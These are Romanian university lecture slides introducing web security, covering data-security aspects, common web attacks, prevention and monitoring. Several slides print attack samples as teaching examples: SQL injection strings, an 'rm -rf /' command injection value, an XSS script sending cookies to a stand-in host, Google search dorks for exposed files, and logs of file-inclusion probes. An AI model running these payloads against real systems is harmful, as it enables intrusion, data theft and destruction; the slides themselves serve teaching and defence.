+ All Categories
Transcript
Page 1: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 1

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

ProgramareProgramare WebWeb IntroducereIntroducere in in securitatesecuritate

Dr. Sabin-Corneliu BuragaFacultatea de Informatica

Universitatea “A.I.Cuza” – Iasi, Romania

http://www.infoiasi.ro/~busaco/

Page 2: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 2

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

• Preliminarii

• Aspecte privind securitatea datelor

• Atacuri Web

• Prevenirea & supravietuirea

• Monitorizarea & testarea

• De retinut

cuprinscuprins

Page 3: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 3

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

preliminariipreliminarii

• Incident de securitate ≡

eveniment aparut in cadrul retelei, cu implicatii asupra securitatii unui calculator sau a retelei– Provenind din interiorul ori exteriorul retelei– In cazul nostru, priveste serverul Web,

clientul Web si/sau alte componente software aditionale (e.g., serverul de stocare a datelor)

• Multe protocoale de baza ale Internetului (inclusiv HTTP) nu au luat in calcul vulnerabilitatile ce pot surveni

• Cracker versus hacker

Page 4: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 4

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

preliminariipreliminarii

• Vulnerabilitate ≡

slabiciune a unui sistem hardware/software ce permite utilizatorilor neautorizati sa aiba acces asupra sa

• Nici un sistem nu este 100% sigur• Vulnerabilitatile apar si datorita

proastei administrari

Page 5: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 5

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

preliminariipreliminarii

• Cauzele existentei vulnerabilitatilor– Bug-uri (erori) existente in programe

(script-uri, servere Web, navigatoare,...), introduse deseori neintentionat

– Ignorarea/nedocumentarea bug-urilor existente (cunoscute)

– Configurarea necorespunzatoare a programelor, serverelor si retelelor

– Lipsa suportului din partea producatorilor– Comoditatea sau necunoasterea problemelor

de securitate de catre administrator ori de conducerea organizatiei

Page 6: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 6

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Aspecte privind securitatea datelor:–Confidentialitatea–Autentificarea–Autorizarea–Integritatea–Nerepudierea–Intimitatea (privacy)–Disponibilitatea

Page 7: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 7

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Confidentialitatea– Imposibilitatea unei terte entitati sa aiba acces

la datele vehiculate intre doi receptori– Solutii:

• conexiuni private intre cele 2 puncte terminale ale canalului de comunicatie; datele circula printr-un tunel oferit de o retea privata virtuala (VPN – Virtual Private Network)

• criptarea datelor via diverse tehnici (biblioteci specializate si/sau oferite de mediile de dezvoltare)

Page 8: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 8

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Autentificarea– Mecanism ce permite utilizatorilor sa acceseze

un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola)

– Solutii: • serverul Web ofera suport pentru autentificari

de baza sau bazate pe algoritmi de tip digest (e.g., MD5)

• folosirea unor tehnici speciale la nivel de aplicatie

Page 9: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 9

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Autorizarea– Specifica actiunile (rolurile) pe care un utilizator

le poate realiza; asociata autentificarii– Se permite administratorului definirea politicilor

de control al accesului la servicii– Solutii:

• drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List)

• controlul accesului bazat pe roluri (RBAC – Role-Based Access Control)

• tehnici de tip SSO (Single Sign-On) – e.g., OpenID

Page 10: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 10

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Integritatea–In acest context, implica detectarea

incercarilor de modificare neautorizata a datelor transmise

–Solutii: • algoritmi de tip digest• semnaturi digitale

Page 11: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 11

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Nerepudierea– Expeditorul mesajului nu poate afirma

ca nu l-a trimis– Solutie: certificate digitale

• stocheaza datele privind identitatea unei entitati detinatoare a unui secret (parola, serie a cartii de credit, certif. digital,…)

• emise de o autoritate de certificare (CA – Certification Authority)

• verificate de o autoritate de inregistrare (RA – Registration Authority)

Infrastructura cu chei publice(PKI – Public

Key Infrastruc.)

Page 12: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 12

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Disponibilitatea–O anumita resursa sa poata fi accesata

la momentul oportun–Cauze ale indisponibilitatii:

• atacuri de refuz al serviciilor DoS (Denial Of Service)

• atacuri distribuite de tip DDoS (Distributed DoS)

Page 13: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 13

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

aspecteaspecte

• Intimitatea– Confundata, deseori, cu confidentialitatea– Vizeaza drepturile ce trebuie respectate privind

caracterul (subiectul) datelor vehiculate– Brese:

• stocarea necorespunzatoare a datelor la nivel de server (information disclosure)

• atacuri de tip XSS (Cross-Site Scripting)• atacuri de tip phishing• configurarea necorespunzatoare a sistemelor

Page 14: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 14

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Securitatea Web trebuia sa ia in consideratie:– Clientul: interactiune, date personale (cookie-uri),

transferuri asincrone (via AJAX),…– Datele in tranzit: securitatea retelei, schimb sigur

de mesaje, ne-repudiere– Serverul: securitatea serverului ori serverelor,

securitatea aplicatiilor, disponibilitatea serviciilor

• Atacurile pot viza oricare din cele 3 aspecte!

Page 15: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 15

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri• SQL injection

–Scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare Web ori direct prin intermediul URI-ului

– Exemplu: select * from studs where name=$name and pass=$pass cu $name preluat din formular: '' or 1=1 --

– Exemplu: http://www.sit.org/access_client.php?client=3 in script: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://www.sit.org/access_client.php?client=client ? dar daca in loc de select era un delete?

Page 16: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 16

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri• SQL injection – variatii

– Crearea de interogari SQL incorecte pentru a avea acces la mesaje de eroare “interesante”

– Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1– Se poate obtine un mesaj precum:[Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.SELECT group_id, securityName, maxSalesCharge, price,security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESC

– Atacatorul poate continua, de pilda, cu http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+--

– Solutii: proceduri stocate, neutralizarea meta-caracterelor SQL, prepared statements,…

Page 17: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 17

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Shell command injection– Posibilitatea de a rula comenzi externe din cadrul

script-urilor CGI– Exemplu: fie liniile Perl

$utiliz = $form{"nume"}; print `finger $utiliz`;

– Ce se intimpla daca din formular se preia root; rm –rf / ?

– Idem si pentru programe scrise in alte limbaje interpretate (e.g., PHP) sau chiar cele C – poisonous null-byte attack

Page 18: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 18

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Cross-Site Scripting (XSS)– “Injectarea” in cadrul sistemului,

pentru executia direct in browser, a script-urilor JavaScript/VBScript• Functioneaza mai ales in cadrul siturilor Web

permitind interactiunea cu utilizatorul (e.g., forumuri, blog-uri, wiki-uri)

• Poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: Cross-Site Request Forgery

Page 19: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 19

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri• Cross-Site Scripting (XSS)

– Exemplu: <img src=“javascript:cod” /> ce redirectioneaza utilizatorul spre alt sit, preia valori de cookie-uri ori blocheaza browser-ul

– Alte exemple: <script>

document.location.replace ( "http://www.sit.org/furt.php" + "?c=" + document.cookie);

</script>

<script> for (i = 0; i < 3000; i++)

window.open ("http://www.sit.org/"); </script>

Page 20: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 20

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Cross-Site Scripting (XSS) – variatii– Folosirea de cod JavaScript pentru a modifica

textul redat de navigatorul Web utilizatorului– Adoptarea de tehnici de social engineering:

manipularea utilizatorilor de catre atacator (prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.)

– Furtul de parole

– Solutii: inhibarea folosirii tag-urilor HTML, HTML escaping, filtrarea marcatorilor, separarea prezentarii datelor de procesarea efectiva etc.

Page 21: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 21

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• O problema o pot cauza URI/IRI-urile (revezi cursul 1)– Exemplu: http://www.google.com@63. 241.3.69/– Codificarea defectuoasa a codurilor hexa ⇒ vulnerabilitati in cadrul unor servere Web

– Includerea caracterelor Unicode – probleme la decodificarea URL-urilor considerate “sigure”

– Siturile avind domenii internationale (IDN – International Domain Names) – atacuri bazate pe homografie

Page 22: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 22

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• O alta problema: folosirea parolelor– 93% din procesele de autentificare folosesc parole– Cu cit utilizatorul trebuie sa retina mai multe

parole, cu atit sistemul de protectie via parole e predispus la brese in securitate:

• Alegerea unor parole slabe• Partajarea parolelor (grupuri de prieteni, colegi,...)• Scrierea parolelor pe hirtie (eventual, la vedere)• Folosirea unei aceleasi parole timp indelungat,

pentru mai multe aplicatii/sisteme– Solutii: Single Sign-On (SSO),

identificare biometrica etc.

Page 23: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 23

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• O alta problema: troienii Web– Situri (adrese) aparent folositoare– Se pot folosi in conjunctie cu XSS sau

tehnici de tip social engineering– Solutie: implementarea unui sistem de tichete

(ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data

Page 24: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 24

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Detectarea posibilelor vulnerabilitati (datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor Web) se poate realiza apelind la un motor de cautare–Vezi si proiectul “Google Hack” Honeypot:

http://ghh.sourceforge.net/

Page 25: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 25

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Exemple de actiuni:– Detectia versiunilor de programe

avind bug-uri cunoscute: “Apache/2.0.52 server at”– Accesul la fisiere .bak: inurl:index.php.bak– Accesarea intranet-ului: intitle:intranet– “Vinarea” de e-mail-uri:

“@gmail.com” –www.gmail.com– Detectarea paginilor de administrare: “admin login”– Gasirea unor instalari implicite:

intitle:”welcome to” intitle:internet IIS– Localizarea interfetelor spre sistemele

de baze de date: inurl:main.php phpMyAdmin

Page 26: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 26

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

atacuriatacuri

• Exemple de actiuni (continuare):– Localizarea siturilor bazate pe aplicatii Web

recunoscute ca fiind vulnerabile: inurl:custva.asp– Cautarea de aplicatii instalate pe diverse masini

sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs

– Gasirea numelor de utilizatori: filetype:conf inurl:proftpd.conf –sample

– Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: “ASP.NET_SessionId” “data source=”

– Vezi si http://johnny.ihackstuff.com/

Page 27: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 27

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

prevenireaprevenirea

• Tehnici:– Nivelul retea: firewall-uri– Nivel de transport: TLS (Transport Layer

Security) – autentificarea & confidentialitatea mesajelor HTTP

• Autentificare via certificate digitale• Confidentialitate via criptare

– Nivel de aplicatie: securitate persistenta a mesajelor vehiculate

Page 28: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 28

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

prevenireaprevenirea

• Studiu de caz: consultarea fisierelor de jurnalizare

194.87.32.44 "GET /~sd/components/com_forum/download.php? phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1" 404 1015

83.169.102.168 "GET /~fl/An1/template.php? name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1" 404 1015

89.37.44.128 "GET /common/labs.xsl HTTP/1.1" 404 119284.9.62.22 "GET /edit.vip.tpe.yahoo.com/config/isp_verify_user?

l=voodoostri&p=6969 HTTP/1.1" 404 1158194.109.52.127 "GET /~ad/templates/pb/language/lang_nl.php?

temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1" 404 101586.54.21.123 "GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614

&STRMVER=4&CAPREQ=0 HTTP/1.0" 404 101586.54.21.123 "GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614

&STRMVER=4&CAPREQ=0 HTTP/1.0" 404 1015

Page 29: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 29

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

supravietuireasupravietuirea

• Supravietuirea ≡

capacitatea unui sistem (calculator/retea) de a-si indeplini misiunea, in timp util, in pofida atacurilor, defectelor sau accidentelor

• Atac ≡

eveniment potential distrugator provocat intentionat de persoane rau-voitoare

• Defect ≡

eveniment potential distrugator cauzat de deficiente ale sistemului sau ale unui factor de care depinde sistemul (e.g., defecte hardware, bug-uri software, erori ale utilizatorilor)

• Accident ≡

evenimente aleatoare (neprevazute); exemple: dezastre naturale sau caderi de tensiune

Page 30: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 30

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

supravietuireasupravietuirea

• Sistemul trebuie sa-si duca pina la capat misiunea chiar daca unele componente sau parti din sistem sint afectate ori scoase din uz– Exemplu: oferirea unei copii read-only

a forumului de discutii sau blog-ului asociat unui domeniu/produs

• Sistemul trebuie sa sustina macar indeplinirea functiilor vitale (mission-critical)– Identificarea serviciilor esentiale

(e.g., acces la lista produselor in cazul unui sit de comert electronic)

Page 31: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 31

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

supravietuireasupravietuirea

• Proprietati ale sistemului:– Rezistenta la atacuri ≡

strategii de respingere

a atacului (i.e. validarea obligatorie a datelor – via expresii regulate, scheme XML etc., autentificarea utilizatorilor, acordarea privilegiilor minime)

– Recunoasterea atacurilor si efectelor lor ≡

strategii pentru restaurarea informatiilor, limi-

tarea efectelor, mentinerea/restaurarea serviciilor compromise (e.g., recurgerea la ferme de servere Web – Web farms, RAID, SAN (Storage Area Network), backup-uri,...)

– Adaptarea la atacuri ≡

strategii pentru imbunatatirea nivelului (sansei) de supravietuire (invatarea din greseli)

Page 32: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 32

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

monitorizaremonitorizare & & testaretestare

• Teste de verificare a:– Capacitatii de deservire a clientilor– Robustetei– Rularii in situatii extreme

• Se iau in consideratie:– Tipul navigatorului (+setarile implicite)– Platforma (hardware, sistem de operare,...)– Interfata (rezolutia ecranului, adincimea de

culoare, largimea de banda,...)– Politica de caching (+siguranta proxy-ului)– Suportul pentru redarea unor tipuri de

documente (securitatea folosirii plugin-urilor)– Limbajul/limbajele de programare utilizate

(inclusiv, serverul/serverele de aplicatii)

Page 33: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 33

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

de de retinutretinut

• Securitatea unei aplicatii Web:– Trebuie sa ia in consideratie arhitectura, logica,

codul-sursa si continutul in ansamblu– Nu vizeaza vulnerabilitatile sistemului de operare

ori ale programelor auxiliare• Vulnerabilitatile unui sit nu sint “celebre” si

vor fi independente deseori de securitatea sistemului pe care este exploatat situl

Page 34: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 34

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

de de retinutretinut

• Tipuri de vulnerabilitati specifice: –Probleme de autentificare–Managementul sesiunilor–Injectarea de scripturi (XSS)

ori comenzi SQL –Expunerea (involuntara) a informatiilor

delicate (information disclosure)–Accesul la codul-sursa ori la fisierele de

configurare a aplicatiei Web

Page 35: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 35

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

de de retinutretinut

• Riscurile de securitate nu vizeaza numai proprietarul sitului, ci si utilizatorul final

• Disconforturi cauzate de un sit nesigur:– Financiare (pierdere de bani/informatii)– De performanta

(blocarea navigatorului, incetinirea actiunilor,...)– Psihologice (insatisfactie)– Sociale (e.g., incapacitatea de munca,

lipsa comunicarii cu partenerii de lucru etc.)– De timp

(navigare greoaie, deturnare spre alt sit,...)

Page 36: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 36

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

• Preliminarii

• Aspecte privind securitatea datelor

• Atacuri Web

• Prevenirea & supravietuirea

• Monitorizarea & testarea

• De retinut

rezumatrezumat

Page 37: Programare Web (Introducere in securitate)

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 37

Te

hn

olo

gii

Te

hn

olo

gii

We

bW

eb

200

720

07

Intrebari…?


Top Related